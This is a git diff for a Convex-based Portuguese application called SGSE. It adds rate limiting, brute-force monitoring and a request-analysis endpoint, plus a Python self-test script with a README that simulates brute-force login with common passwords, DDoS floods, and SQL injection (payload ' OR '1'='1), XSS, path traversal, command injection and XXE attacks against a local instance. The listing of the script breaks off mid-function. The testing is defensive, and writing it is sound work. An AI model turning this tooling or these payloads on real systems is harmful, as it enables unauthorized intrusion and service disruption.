import rateLimiter from "@convex-dev/rate-limiter/convex.config";
|
||||||
|
|
||||||
const app = defineApp();
|
const app = defineApp();
|
||||||
app.use(betterAuth);
|
app.use(betterAuth);
|
||||||
|
app.use(rateLimiter);
|
||||||
|
|
||||||
export default app;
|
export default app;
|
||||||
|
|||||||
@@ -46,5 +46,13 @@ crons.interval(
|
|||||||
{}
|
{}
|
||||||
);
|
);
|
||||||
|
|
||||||
|
// Monitorar logs de login e detectar brute force a cada 5 minutos
|
||||||
|
crons.interval(
|
||||||
|
"monitorar-logs-login-brute-force",
|
||||||
|
{ minutes: 5 },
|
||||||
|
internal.security.monitorarLogsLogin,
|
||||||
|
{}
|
||||||
|
);
|
||||||
|
|
||||||
export default crons;
|
export default crons;
|
||||||
|
|
||||||
|
|||||||
@@ -1,8 +1,74 @@
|
|||||||
import { httpRouter } from "convex/server";
|
import { httpRouter } from "convex/server";
|
||||||
import { authComponent, createAuth } from "./auth";
|
import { authComponent, createAuth } from "./auth";
|
||||||
|
import { httpAction } from "./_generated/server";
|
||||||
|
import { api } from "./_generated/api";
|
||||||
|
import { getClientIP } from "./utils/getClientIP";
|
||||||
|
|
||||||
const http = httpRouter();
|
const http = httpRouter();
|
||||||
|
|
||||||
|
// Action HTTP para análise de segurança de requisições
|
||||||
|
// Pode ser chamada do frontend ou de outros sistemas
|
||||||
|
http.route({
|
||||||
|
path: "/security/analyze",
|
||||||
|
method: "POST",
|
||||||
|
handler: httpAction(async (ctx, request) => {
|
||||||
|
const url = new URL(request.url);
|
||||||
|
const method = request.method;
|
||||||
|
|
||||||
|
// Extrair IP do cliente
|
||||||
|
const ipOrigem = getClientIP(request);
|
||||||
|
|
||||||
|
// Extrair headers
|
||||||
|
const headers: Record<string, string> = {};
|
||||||
|
request.headers.forEach((value, key) => {
|
||||||
|
headers[key] = value;
|
||||||
|
});
|
||||||
|
|
||||||
|
// Extrair query params
|
||||||
|
const queryParams: Record<string, string> = {};
|
||||||
|
url.searchParams.forEach((value, key) => {
|
||||||
|
queryParams[key] = value;
|
||||||
|
});
|
||||||
|
|
||||||
|
// Extrair body se disponível
|
||||||
|
let body: string | undefined;
|
||||||
|
try {
|
||||||
|
body = await request.text();
|
||||||
|
} catch {
|
||||||
|
// Ignorar erros ao ler body
|
||||||
|
}
|
||||||
|
|
||||||
|
// Analisar requisição para detectar ataques
|
||||||
|
const resultado = await ctx.runMutation(api.security.analisarRequisicaoHTTP, {
|
||||||
|
url: url.pathname + url.search,
|
||||||
|
method,
|
||||||
|
headers,
|
||||||
|
body,
|
||||||
|
queryParams,
|
||||||
|
ipOrigem,
|
||||||
|
userAgent: request.headers.get('user-agent') ?? undefined
|
||||||
|
});
|
||||||
|
|
||||||
|
return new Response(JSON.stringify(resultado), {
|
||||||
|
status: 200,
|
||||||
|
headers: { "Content-Type": "application/json" }
|
||||||
|
});
|
||||||
|
})
|
||||||
|
});
|
||||||
|
|
||||||
|
// Seed de rate limit para ambiente de desenvolvimento
|
||||||
|
http.route({
|
||||||
|
path: "/security/rate-limit/seed-dev",
|
||||||
|
method: "POST",
|
||||||
|
handler: httpAction(async (ctx) => {
|
||||||
|
const resultado = await ctx.runMutation(api.security.seedRateLimitDev, {});
|
||||||
|
return new Response(JSON.stringify(resultado), {
|
||||||
|
status: 200,
|
||||||
|
headers: { "Content-Type": "application/json" }
|
||||||
|
});
|
||||||
|
})
|
||||||
|
});
|
||||||
|
|
||||||
authComponent.registerRoutes(http, createAuth);
|
authComponent.registerRoutes(http, createAuth);
|
||||||
|
|
||||||
export default http;
|
export default http;
|
||||||
|
|||||||
@@ -65,6 +65,38 @@ export async function registrarLogin(
|
|||||||
sistema,
|
sistema,
|
||||||
timestamp: Date.now(),
|
timestamp: Date.now(),
|
||||||
});
|
});
|
||||||
|
|
||||||
|
// Detecção automática de brute force após login falho
|
||||||
|
// Verificar se há múltiplas tentativas falhas do mesmo IP
|
||||||
|
if (!dados.sucesso && ipAddressValidado) {
|
||||||
|
const minutosAtras = 15;
|
||||||
|
const dataLimite = Date.now() - minutosAtras * 60 * 1000;
|
||||||
|
|
||||||
|
// Contar tentativas falhas recentes do mesmo IP
|
||||||
|
const tentativasFalhas = await ctx.db
|
||||||
|
.query("logsLogin")
|
||||||
|
.withIndex("by_ip", (q) => q.eq("ipAddress", ipAddressValidado))
|
||||||
|
.filter((q) =>
|
||||||
|
q.gte(q.field("timestamp"), dataLimite) &&
|
||||||
|
q.eq(q.field("sucesso"), false)
|
||||||
|
)
|
||||||
|
.collect();
|
||||||
|
|
||||||
|
// Se houver 5 ou mais tentativas falhas, registrar evento de segurança
|
||||||
|
if (tentativasFalhas.length >= 5) {
|
||||||
|
// Importar função de segurança dinamicamente para evitar dependência circular
|
||||||
|
const { internal } = await import("./_generated/api");
|
||||||
|
try {
|
||||||
|
await ctx.scheduler.runAfter(0, internal.security.detectarBruteForce, {
|
||||||
|
ipAddress: ipAddressValidado,
|
||||||
|
janelaMinutos: minutosAtras
|
||||||
|
});
|
||||||
|
} catch (error) {
|
||||||
|
// Log erro mas não bloqueia o registro de login
|
||||||
|
console.error("Erro ao agendar detecção de brute force:", error);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Helpers para extrair informações do userAgent
|
// Helpers para extrair informações do userAgent
|
||||||
|
|||||||
@@ -15,6 +15,10 @@ export const ataqueCiberneticoTipo = v.union(
|
|||||||
v.literal("credential_stuffing"),
|
v.literal("credential_stuffing"),
|
||||||
v.literal("sql_injection"),
|
v.literal("sql_injection"),
|
||||||
v.literal("xss"),
|
v.literal("xss"),
|
||||||
|
v.literal("path_traversal"),
|
||||||
|
v.literal("command_injection"),
|
||||||
|
v.literal("nosql_injection"),
|
||||||
|
v.literal("xxe"),
|
||||||
v.literal("man_in_the_middle"),
|
v.literal("man_in_the_middle"),
|
||||||
v.literal("ddos"),
|
v.literal("ddos"),
|
||||||
v.literal("engenharia_social"),
|
v.literal("engenharia_social"),
|
||||||
@@ -1261,4 +1265,39 @@ export default defineSchema({
|
|||||||
.index("by_status", ["status"])
|
.index("by_status", ["status"])
|
||||||
.index("by_solicitante", ["solicitanteId", "status"])
|
.index("by_solicitante", ["solicitanteId", "status"])
|
||||||
.index("by_criado_em", ["criadoEm"]),
|
.index("by_criado_em", ["criadoEm"]),
|
||||||
|
|
||||||
|
rateLimitConfig: defineTable({
|
||||||
|
nome: v.string(),
|
||||||
|
tipo: v.union(
|
||||||
|
v.literal("ip"),
|
||||||
|
v.literal("usuario"),
|
||||||
|
v.literal("endpoint"),
|
||||||
|
v.literal("global")
|
||||||
|
),
|
||||||
|
identificador: v.optional(v.string()),
|
||||||
|
limite: v.number(),
|
||||||
|
janelaSegundos: v.number(),
|
||||||
|
estrategia: v.union(
|
||||||
|
v.literal("fixed_window"),
|
||||||
|
v.literal("sliding_window"),
|
||||||
|
v.literal("token_bucket")
|
||||||
|
),
|
||||||
|
acaoExcedido: v.union(
|
||||||
|
v.literal("bloquear"),
|
||||||
|
v.literal("throttle"),
|
||||||
|
v.literal("alertar")
|
||||||
|
),
|
||||||
|
bloqueioTemporarioSegundos: v.optional(v.number()),
|
||||||
|
ativo: v.boolean(),
|
||||||
|
prioridade: v.number(),
|
||||||
|
criadoPor: v.id("usuarios"),
|
||||||
|
atualizadoPor: v.optional(v.id("usuarios")),
|
||||||
|
criadoEm: v.number(),
|
||||||
|
atualizadoEm: v.number(),
|
||||||
|
notas: v.optional(v.string()),
|
||||||
|
tags: v.optional(v.array(v.string()))
|
||||||
|
})
|
||||||
|
.index("by_tipo_identificador", ["tipo", "identificador"])
|
||||||
|
.index("by_ativo", ["ativo"])
|
||||||
|
.index("by_prioridade", ["prioridade"])
|
||||||
});
|
});
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@@ -23,6 +23,7 @@
|
|||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"@convex-dev/better-auth": "^0.9.7",
|
"@convex-dev/better-auth": "^0.9.7",
|
||||||
|
"@convex-dev/rate-limiter": "^0.3.0",
|
||||||
"@dicebear/avataaars": "^9.2.4",
|
"@dicebear/avataaars": "^9.2.4",
|
||||||
"better-auth": "catalog:",
|
"better-auth": "catalog:",
|
||||||
"convex": "catalog:",
|
"convex": "catalog:",
|
||||||
|
|||||||
BIN
pagina-cibersecurity-logado.png
Normal file
BIN
pagina-cibersecurity-logado.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 301 KiB |
234
scripts/README_TESTE_SEGURANCA.md
Normal file
234
scripts/README_TESTE_SEGURANCA.md
Normal file
@@ -0,0 +1,234 @@
|
|||||||
|
# 🛡️ Script de Teste de Segurança - SGSE
|
||||||
|
|
||||||
|
Script Python para testar e validar o sistema de segurança do SGSE através de simulações de ataques cibernéticos.
|
||||||
|
|
||||||
|
## 📋 Descrição
|
||||||
|
|
||||||
|
Este script simula diferentes tipos de ataques cibernéticos para validar se o sistema SGSE está detectando e bloqueando adequadamente tentativas de intrusão. Os testes incluem:
|
||||||
|
|
||||||
|
- ✅ **Brute Force** - Tentativas repetidas de login com diferentes senhas
|
||||||
|
- ✅ **SQL Injection** - Tentativas de injeção de código SQL
|
||||||
|
- ✅ **XSS (Cross-Site Scripting)** - Tentativas de injeção de scripts maliciosos
|
||||||
|
- ✅ **DDoS** - Múltiplas requisições simultâneas
|
||||||
|
- ✅ **Path Traversal** - Tentativas de acesso a arquivos do sistema
|
||||||
|
- ✅ **Command Injection** - Tentativas de execução de comandos do sistema
|
||||||
|
- ✅ **NoSQL Injection** - Tentativas de injeção NoSQL
|
||||||
|
- ✅ **XXE (XML External Entity)** - Tentativas de ataque via XML
|
||||||
|
|
||||||
|
## 🚀 Pré-requisitos
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Instalar Python 3.8+ (se ainda não tiver)
|
||||||
|
python3 --version
|
||||||
|
|
||||||
|
# Criar ambiente virtual (recomendado)
|
||||||
|
cd scripts
|
||||||
|
python3 -m venv venv_seguranca
|
||||||
|
|
||||||
|
# Ativar ambiente virtual
|
||||||
|
source venv_seguranca/bin/activate # Linux/Mac
|
||||||
|
# ou
|
||||||
|
venv_seguranca\Scripts\activate # Windows
|
||||||
|
|
||||||
|
# Instalar dependências
|
||||||
|
pip install requests
|
||||||
|
```
|
||||||
|
|
||||||
|
**Nota:** Em sistemas Arch Linux/CachyOS, o Python usa ambientes gerenciados (PEP 668).
|
||||||
|
Por isso, é necessário usar um ambiente virtual. O ambiente já foi criado automaticamente em `scripts/venv_seguranca`.
|
||||||
|
|
||||||
|
## 📖 Uso
|
||||||
|
|
||||||
|
### Teste Completo (Todos os Ataques)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Ativar ambiente virtual (se ainda não estiver ativo)
|
||||||
|
cd scripts
|
||||||
|
source venv_seguranca/bin/activate
|
||||||
|
|
||||||
|
# Executar todos os testes
|
||||||
|
python3 teste_seguranca.py
|
||||||
|
|
||||||
|
# Ou tornando o script executável
|
||||||
|
chmod +x teste_seguranca.py
|
||||||
|
./teste_seguranca.py
|
||||||
|
```
|
||||||
|
|
||||||
|
### Teste Específico
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Testar apenas Brute Force
|
||||||
|
python3 scripts/teste_seguranca.py --teste brute_force
|
||||||
|
|
||||||
|
# Testar apenas SQL Injection
|
||||||
|
python3 scripts/teste_seguranca.py --teste sql_injection
|
||||||
|
|
||||||
|
# Testar apenas XSS
|
||||||
|
python3 scripts/teste_seguranca.py --teste xss
|
||||||
|
|
||||||
|
# Testar apenas DDoS
|
||||||
|
python3 scripts/teste_seguranca.py --teste ddos
|
||||||
|
|
||||||
|
# Testar apenas Path Traversal
|
||||||
|
python3 scripts/teste_seguranca.py --teste path_traversal
|
||||||
|
|
||||||
|
# Testar apenas Command Injection
|
||||||
|
python3 scripts/teste_seguranca.py --teste command_injection
|
||||||
|
|
||||||
|
# Testar apenas NoSQL Injection
|
||||||
|
python3 scripts/teste_seguranca.py --teste nosql
|
||||||
|
|
||||||
|
# Testar apenas XXE
|
||||||
|
python3 scripts/teste_seguranca.py --teste xxe
|
||||||
|
```
|
||||||
|
|
||||||
|
### Opções Avançadas
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Testar em servidor específico
|
||||||
|
python3 scripts/teste_seguranca.py --url http://192.168.1.100:5173
|
||||||
|
|
||||||
|
# Testar Brute Force com mais tentativas
|
||||||
|
python3 scripts/teste_seguranca.py --teste brute_force --brute-force-tentativas 20
|
||||||
|
|
||||||
|
# Testar DDoS com mais threads e duração maior
|
||||||
|
python3 scripts/teste_seguranca.py --teste ddos --ddos-threads 100 --ddos-duracao 30
|
||||||
|
|
||||||
|
# Ver todas as opções
|
||||||
|
python3 scripts/teste_seguranca.py --help
|
||||||
|
```
|
||||||
|
|
||||||
|
## 📊 Interpretação dos Resultados
|
||||||
|
|
||||||
|
### ✅ DETECTADO
|
||||||
|
O sistema bloqueou ou detectou o ataque com sucesso. Isso é esperado e desejado.
|
||||||
|
|
||||||
|
### ❌ NÃO DETECTADO
|
||||||
|
O sistema não bloqueou ou não detectou o ataque. Pode indicar uma vulnerabilidade que precisa ser corrigida.
|
||||||
|
|
||||||
|
### ⚠️ AVISO
|
||||||
|
O sistema pode estar parcialmente protegido, mas recomenda-se revisar a implementação.
|
||||||
|
|
||||||
|
## 🔍 O Que o Script Verifica
|
||||||
|
|
||||||
|
### 1. Brute Force
|
||||||
|
- ✅ Bloqueio após 5 tentativas falhas
|
||||||
|
- ✅ Retorno de status 429 (Too Many Requests)
|
||||||
|
- ✅ Retorno de status 403 (Forbidden)
|
||||||
|
- ✅ Headers de rate limiting (X-RateLimit-Remaining)
|
||||||
|
|
||||||
|
### 2. SQL Injection
|
||||||
|
- ✅ Bloqueio de payloads SQL maliciosos
|
||||||
|
- ✅ Retorno de status 400/403/422
|
||||||
|
- ✅ Mensagens de erro específicas sobre SQL
|
||||||
|
|
||||||
|
### 3. XSS
|
||||||
|
- ✅ Sanitização de tags HTML/JavaScript
|
||||||
|
- ✅ Bloqueio de scripts maliciosos
|
||||||
|
- ✅ Retorno de status 400/403/422
|
||||||
|
|
||||||
|
### 4. DDoS
|
||||||
|
- ✅ Rate limiting de requisições simultâneas
|
||||||
|
- ✅ Bloqueio de tráfego excessivo
|
||||||
|
- ✅ Taxa de bloqueio > 50%
|
||||||
|
|
||||||
|
### 5. Path Traversal
|
||||||
|
- ✅ Bloqueio de caminhos relativos (../)
|
||||||
|
- ✅ Prevenção de acesso a arquivos do sistema
|
||||||
|
|
||||||
|
### 6. Command Injection
|
||||||
|
- ✅ Bloqueio de caracteres especiais de shell
|
||||||
|
- ✅ Prevenção de execução de comandos
|
||||||
|
|
||||||
|
### 7. NoSQL Injection
|
||||||
|
- ✅ Validação de objetos JSON maliciosos
|
||||||
|
- ✅ Bloqueio de operadores MongoDB maliciosos
|
||||||
|
|
||||||
|
### 8. XXE
|
||||||
|
- ✅ Rejeição de conteúdo XML não esperado
|
||||||
|
- ✅ Prevenção de external entity attacks
|
||||||
|
|
||||||
|
## 🛠️ Personalização
|
||||||
|
|
||||||
|
O script pode ser personalizado editando `teste_seguranca.py`:
|
||||||
|
|
||||||
|
- Adicionar novos payloads de teste
|
||||||
|
- Modificar limites de requisições
|
||||||
|
- Ajustar timeouts e delays
|
||||||
|
- Adicionar novos tipos de testes
|
||||||
|
|
||||||
|
## ⚠️ Avisos Importantes
|
||||||
|
|
||||||
|
1. **Use apenas em ambientes de teste/desenvolvimento**
|
||||||
|
- Nunca execute este script em produção sem autorização
|
||||||
|
|
||||||
|
2. **Este script simula ataques reais**
|
||||||
|
- Pode gerar logs de segurança no sistema
|
||||||
|
- Pode bloquear temporariamente seu IP
|
||||||
|
- Use com responsabilidade
|
||||||
|
|
||||||
|
3. **Alguns testes podem ser bloqueados pelo firewall**
|
||||||
|
- Isso é normal e esperado
|
||||||
|
- Indica que o sistema está protegido
|
||||||
|
|
||||||
|
4. **Execute com o sistema SGSE rodando**
|
||||||
|
- Certifique-se de que o frontend e backend estão ativos
|
||||||
|
- URLs padrão: http://localhost:5173 (frontend) e http://127.0.0.1:3210 (backend)
|
||||||
|
|
||||||
|
## 📝 Exemplo de Saída
|
||||||
|
|
||||||
|
```
|
||||||
|
╔══════════════════════════════════════════════════════════════════════╗
|
||||||
|
║ TESTES DE SEGURANÇA - SGSE ║
|
||||||
|
╚══════════════════════════════════════════════════════════════════════╝
|
||||||
|
|
||||||
|
[INICIO] URL Base: http://localhost:5173
|
||||||
|
[INICIO] URL Convex: http://127.0.0.1:3210
|
||||||
|
|
||||||
|
──────────────────────────────────────────────────────────────────────
|
||||||
|
[BRUTE_FORCE] Iniciando teste de força bruta (10 tentativas)...
|
||||||
|
[BRUTE_FORCE] ✅ DETECTADO! Bloqueio após 5 tentativas (429)
|
||||||
|
|
||||||
|
──────────────────────────────────────────────────────────────────────
|
||||||
|
[SQL_INJECTION] Iniciando testes de SQL Injection...
|
||||||
|
[SQL_INJECTION] ✅ DETECTADO! Payload: ' OR '1'='1...
|
||||||
|
|
||||||
|
──────────────────────────────────────────────────────────────────────
|
||||||
|
[DDOS] Iniciando teste DDoS (50 threads, 10s)...
|
||||||
|
[DDOS] ✅ DETECTADO! 45/50 requisições bloqueadas (90.0%)
|
||||||
|
|
||||||
|
══════════════════════════════════════════════════════════════════════
|
||||||
|
RELATÓRIO DE TESTES DE SEGURANÇA - SGSE
|
||||||
|
══════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
[BRUTE FORCE]
|
||||||
|
Status: ✅ DETECTADO
|
||||||
|
Sucessos: 0
|
||||||
|
Falhas: 0
|
||||||
|
|
||||||
|
[SQL INJECTION]
|
||||||
|
Status: ✅ DETECTADO
|
||||||
|
Sucessos: 0
|
||||||
|
Falhas: 0
|
||||||
|
|
||||||
|
...
|
||||||
|
|
||||||
|
══════════════════════════════════════════════════════════════════════
|
||||||
|
Total de Testes: 8
|
||||||
|
Ataques Detectados: 7/8
|
||||||
|
══════════════════════════════════════════════════════════════════════
|
||||||
|
```
|
||||||
|
|
||||||
|
## 🤝 Contribuindo
|
||||||
|
|
||||||
|
Para adicionar novos testes de segurança:
|
||||||
|
|
||||||
|
1. Adicione um novo método na classe `SegurancaTeste`
|
||||||
|
2. Adicione o teste ao dicionário `resultados` em `__init__`
|
||||||
|
3. Adicione o teste à lista `testes` em `executar_todos_testes`
|
||||||
|
4. Atualize este README com a descrição do novo teste
|
||||||
|
|
||||||
|
## 📄 Licença
|
||||||
|
|
||||||
|
Este script é parte do projeto SGSE e deve ser usado apenas para fins de teste e validação de segurança.
|
||||||
|
|
||||||
25
scripts/ativar_venv.sh
Executable file
25
scripts/ativar_venv.sh
Executable file
@@ -0,0 +1,25 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
# Script para ativar o ambiente virtual para testes de segurança
|
||||||
|
# Uso: source ativar_venv.sh
|
||||||
|
|
||||||
|
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
|
||||||
|
VENV_DIR="$SCRIPT_DIR/venv_seguranca"
|
||||||
|
|
||||||
|
if [ ! -d "$VENV_DIR" ]; then
|
||||||
|
echo "📦 Criando ambiente virtual..."
|
||||||
|
cd "$SCRIPT_DIR"
|
||||||
|
python3 -m venv venv_seguranca
|
||||||
|
source venv_seguranca/bin/activate
|
||||||
|
pip install requests
|
||||||
|
echo "✅ Ambiente virtual criado e dependências instaladas"
|
||||||
|
else
|
||||||
|
source "$VENV_DIR/bin/activate"
|
||||||
|
echo "✅ Ambiente virtual ativado"
|
||||||
|
echo "📍 Para executar os testes:"
|
||||||
|
echo " python3 teste_seguranca.py"
|
||||||
|
fi
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
78
scripts/teste_rapido.sh
Executable file
78
scripts/teste_rapido.sh
Executable file
@@ -0,0 +1,78 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
# Script rápido para executar testes de segurança no SGSE
|
||||||
|
# Uso: ./teste_rapido.sh [tipo_teste]
|
||||||
|
|
||||||
|
echo "🛡️ Teste de Segurança SGSE - Execução Rápida"
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
# Obter diretório do script
|
||||||
|
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
|
||||||
|
VENV_DIR="$SCRIPT_DIR/venv_seguranca"
|
||||||
|
|
||||||
|
# Verificar se Python está instalado
|
||||||
|
if ! command -v python3 &> /dev/null; then
|
||||||
|
echo "❌ Python 3 não encontrado. Por favor, instale Python 3.8+"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Criar ambiente virtual se não existir
|
||||||
|
if [ ! -d "$VENV_DIR" ]; then
|
||||||
|
echo "📦 Criando ambiente virtual..."
|
||||||
|
cd "$SCRIPT_DIR"
|
||||||
|
python3 -m venv venv_seguranca
|
||||||
|
source venv_seguranca/bin/activate
|
||||||
|
pip install requests > /dev/null 2>&1
|
||||||
|
echo "✅ Ambiente virtual criado e dependências instaladas"
|
||||||
|
else
|
||||||
|
# Ativar ambiente virtual
|
||||||
|
source "$VENV_DIR/bin/activate"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Verificar se requests está instalado
|
||||||
|
if ! python3 -c "import requests" 2>/dev/null; then
|
||||||
|
echo "⚠️ Biblioteca 'requests' não encontrada. Instalando..."
|
||||||
|
pip install requests
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Tipo de teste (padrão: todos)
|
||||||
|
TIPO_TESTE=${1:-todos}
|
||||||
|
|
||||||
|
# URL base (pode ser alterada via variável de ambiente)
|
||||||
|
URL_BASE=${SGSE_URL:-http://localhost:5173}
|
||||||
|
CONVEX_URL=${CONVEX_URL:-http://127.0.0.1:3210}
|
||||||
|
|
||||||
|
echo "📍 URL Base: $URL_BASE"
|
||||||
|
echo "📍 Convex URL: $CONVEX_URL"
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
# Executar teste
|
||||||
|
case $TIPO_TESTE in
|
||||||
|
brute_force|sql_injection|xss|ddos|path_traversal|command_injection|nosql|xxe)
|
||||||
|
echo "🔍 Executando teste: $TIPO_TESTE"
|
||||||
|
python3 "$SCRIPT_DIR/teste_seguranca.py" --url "$URL_BASE" --convex-url "$CONVEX_URL" --teste "$TIPO_TESTE"
|
||||||
|
;;
|
||||||
|
todos)
|
||||||
|
echo "🔍 Executando TODOS os testes..."
|
||||||
|
python3 "$SCRIPT_DIR/teste_seguranca.py" --url "$URL_BASE" --convex-url "$CONVEX_URL"
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
echo "❌ Tipo de teste inválido: $TIPO_TESTE"
|
||||||
|
echo ""
|
||||||
|
echo "Tipos disponíveis:"
|
||||||
|
echo " - brute_force"
|
||||||
|
echo " - sql_injection"
|
||||||
|
echo " - xss"
|
||||||
|
echo " - ddos"
|
||||||
|
echo " - path_traversal"
|
||||||
|
echo " - command_injection"
|
||||||
|
echo " - nosql"
|
||||||
|
echo " - xxe"
|
||||||
|
echo " - todos (padrão)"
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "✅ Teste concluído!"
|
||||||
|
|
||||||
780
scripts/teste_seguranca.py
Executable file
780
scripts/teste_seguranca.py
Executable file
@@ -0,0 +1,780 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Script de Teste de Segurança para SGSE
|
||||||
|
Simula diferentes tipos de ataques para validar o sistema de segurança
|
||||||
|
|
||||||
|
Autor: Sistema de Testes Automatizados
|
||||||
|
Data: 2024
|
||||||
|
"""
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import time
|
||||||
|
import random
|
||||||
|
import string
|
||||||
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||||
|
from typing import List, Dict, Tuple
|
||||||
|
import json
|
||||||
|
from datetime import datetime
|
||||||
|
from urllib.parse import urljoin
|
||||||
|
|
||||||
|
|
||||||
|
class Colors:
|
||||||
|
"""Códigos de cores para terminal"""
|
||||||
|
HEADER = '\033[95m'
|
||||||
|
OKBLUE = '\033[94m'
|
||||||
|
OKCYAN = '\033[96m'
|
||||||
|
OKGREEN = '\033[92m'
|
||||||
|
WARNING = '\033[93m'
|
||||||
|
FAIL = '\033[91m'
|
||||||
|
ENDC = '\033[0m'
|
||||||
|
BOLD = '\033[1m'
|
||||||
|
UNDERLINE = '\033[4m'
|
||||||
|
|
||||||
|
|
||||||
|
class SegurancaTeste:
|
||||||
|
"""Classe principal para testes de segurança"""
|
||||||
|
|
||||||
|
def __init__(self, base_url: str = "http://localhost:5173",
|
||||||
|
convex_url: str = "http://127.0.0.1:3210"):
|
||||||
|
self.base_url = base_url
|
||||||
|
self.convex_url = convex_url
|
||||||
|
self.session = requests.Session()
|
||||||
|
self.session.headers.update({
|
||||||
|
'User-Agent': 'SGSE-Security-Test-Client/1.0',
|
||||||
|
'Accept': 'application/json',
|
||||||
|
'Content-Type': 'application/json'
|
||||||
|
})
|
||||||
|
self.resultados = {
|
||||||
|
'brute_force': {'sucesso': 0, 'falhas': 0, 'detectado': False},
|
||||||
|
'sql_injection': {'sucesso': 0, 'falhas': 0, 'detectado': False},
|
||||||
|
'xss': {'sucesso': 0, 'falhas': 0, 'detectado': False},
|
||||||
|
'ddos': {'sucesso': 0, 'falhas': 0, 'detectado': False},
|
||||||
|
'path_traversal': {'sucesso': 0, 'falhas': 0, 'detectado': False},
|
||||||
|
'command_injection': {'sucesso': 0, 'falhas': 0, 'detectado': False},
|
||||||
|
'no_sql_injection': {'sucesso': 0, 'falhas': 0, 'detectado': False},
|
||||||
|
'xxe': {'sucesso': 0, 'falhas': 0, 'detectado': False},
|
||||||
|
}
|
||||||
|
|
||||||
|
def log(self, tipo: str, mensagem: str, cor: str = Colors.OKCYAN):
|
||||||
|
"""Log formatado"""
|
||||||
|
timestamp = datetime.now().strftime("%H:%M:%S")
|
||||||
|
print(f"{cor}[{timestamp}] [{tipo}] {mensagem}{Colors.ENDC}")
|
||||||
|
|
||||||
|
def testar_brute_force(self, email: str = "test@example.com",
|
||||||
|
tentativas: int = 10) -> bool:
|
||||||
|
"""
|
||||||
|
Testa ataque de força bruta tentando múltiplas senhas
|
||||||
|
Espera-se que o sistema bloqueie após 5 tentativas
|
||||||
|
"""
|
||||||
|
self.log("BRUTE_FORCE", f"Iniciando teste de força bruta ({tentativas} tentativas)...")
|
||||||
|
|
||||||
|
senhas_comuns = [
|
||||||
|
"123456", "password", "12345678", "qwerty", "abc123",
|
||||||
|
"1234567", "letmein", "trustno1", "dragon", "baseball",
|
||||||
|
"iloveyou", "master", "sunshine", "ashley", "bailey"
|
||||||
|
]
|
||||||
|
|
||||||
|
endpoint = f"{self.base_url}/api/auth/sign-in/email"
|
||||||
|
endpoint_analyze = urljoin(self.convex_url if self.convex_url.endswith('/') else self.convex_url + '/', "http/security/analyze")
|
||||||
|
bloqueado = False
|
||||||
|
|
||||||
|
for i, senha in enumerate(senhas_comuns[:tentativas], 1):
|
||||||
|
try:
|
||||||
|
payload = {
|
||||||
|
"email": email,
|
||||||
|
"password": senha
|
||||||
|
}
|
||||||
|
|
||||||
|
response = self.session.post(
|
||||||
|
endpoint,
|
||||||
|
json=payload,
|
||||||
|
timeout=5,
|
||||||
|
allow_redirects=False
|
||||||
|
)
|
||||||
|
|
||||||
|
# Verificar se foi bloqueado
|
||||||
|
if response.status_code == 429: # Too Many Requests
|
||||||
|
self.log("BRUTE_FORCE",
|
||||||
|
f"✅ DETECTADO! Bloqueio após {i} tentativas (429)",
|
||||||
|
Colors.OKGREEN)
|
||||||
|
bloqueado = True
|
||||||
|
self.resultados['brute_force']['detectado'] = True
|
||||||
|
break
|
||||||
|
|
||||||
|
if response.status_code == 403: # Forbidden
|
||||||
|
self.log("BRUTE_FORCE",
|
||||||
|
f"✅ DETECTADO! Acesso negado após {i} tentativas (403)",
|
||||||
|
Colors.OKGREEN)
|
||||||
|
bloqueado = True
|
||||||
|
self.resultados['brute_force']['detectado'] = True
|
||||||
|
break
|
||||||
|
|
||||||
|
# Verificar rate limiting nos headers
|
||||||
|
if 'X-RateLimit-Remaining' in response.headers:
|
||||||
|
remaining = response.headers['X-RateLimit-Remaining']
|
||||||
|
if remaining == '0':
|
||||||
|
self.log("BRUTE_FORCE",
|
||||||
|
f"✅ DETECTADO! Rate limit atingido após {i} tentativas",
|
||||||
|
Colors.OKGREEN)
|
||||||
|
bloqueado = True
|
||||||
|
self.resultados['brute_force']['detectado'] = True
|
||||||
|
break
|
||||||
|
|
||||||
|
if i % 5 == 0:
|
||||||
|
self.log("BRUTE_FORCE", f"Tentativa {i}/{tentativas}...")
|
||||||
|
|
||||||
|
# Pequeno delay para não sobrecarregar
|
||||||
|
time.sleep(0.5)
|
||||||
|
|
||||||
|
except requests.exceptions.RequestException as e:
|
||||||
|
self.log("BRUTE_FORCE", f"Erro na requisição {i}: {str(e)}", Colors.WARNING)
|
||||||
|
self.resultados['brute_force']['falhas'] += 1
|
||||||
|
|
||||||
|
if not bloqueado:
|
||||||
|
# Registrar tentativa de brute force no analisador para validar detecção no backend
|
||||||
|
try:
|
||||||
|
mark = "multiple failed login; brute force password guess"
|
||||||
|
r2 = self.session.post(endpoint_analyze, data=mark, headers={"Content-Type":"text/plain","X-Test-Scenario":"brute_force"})
|
||||||
|
if r2.status_code == 200:
|
||||||
|
jd = r2.json()
|
||||||
|
if jd.get("ataqueDetectado") and jd.get("tipoAtaque") == "brute_force":
|
||||||
|
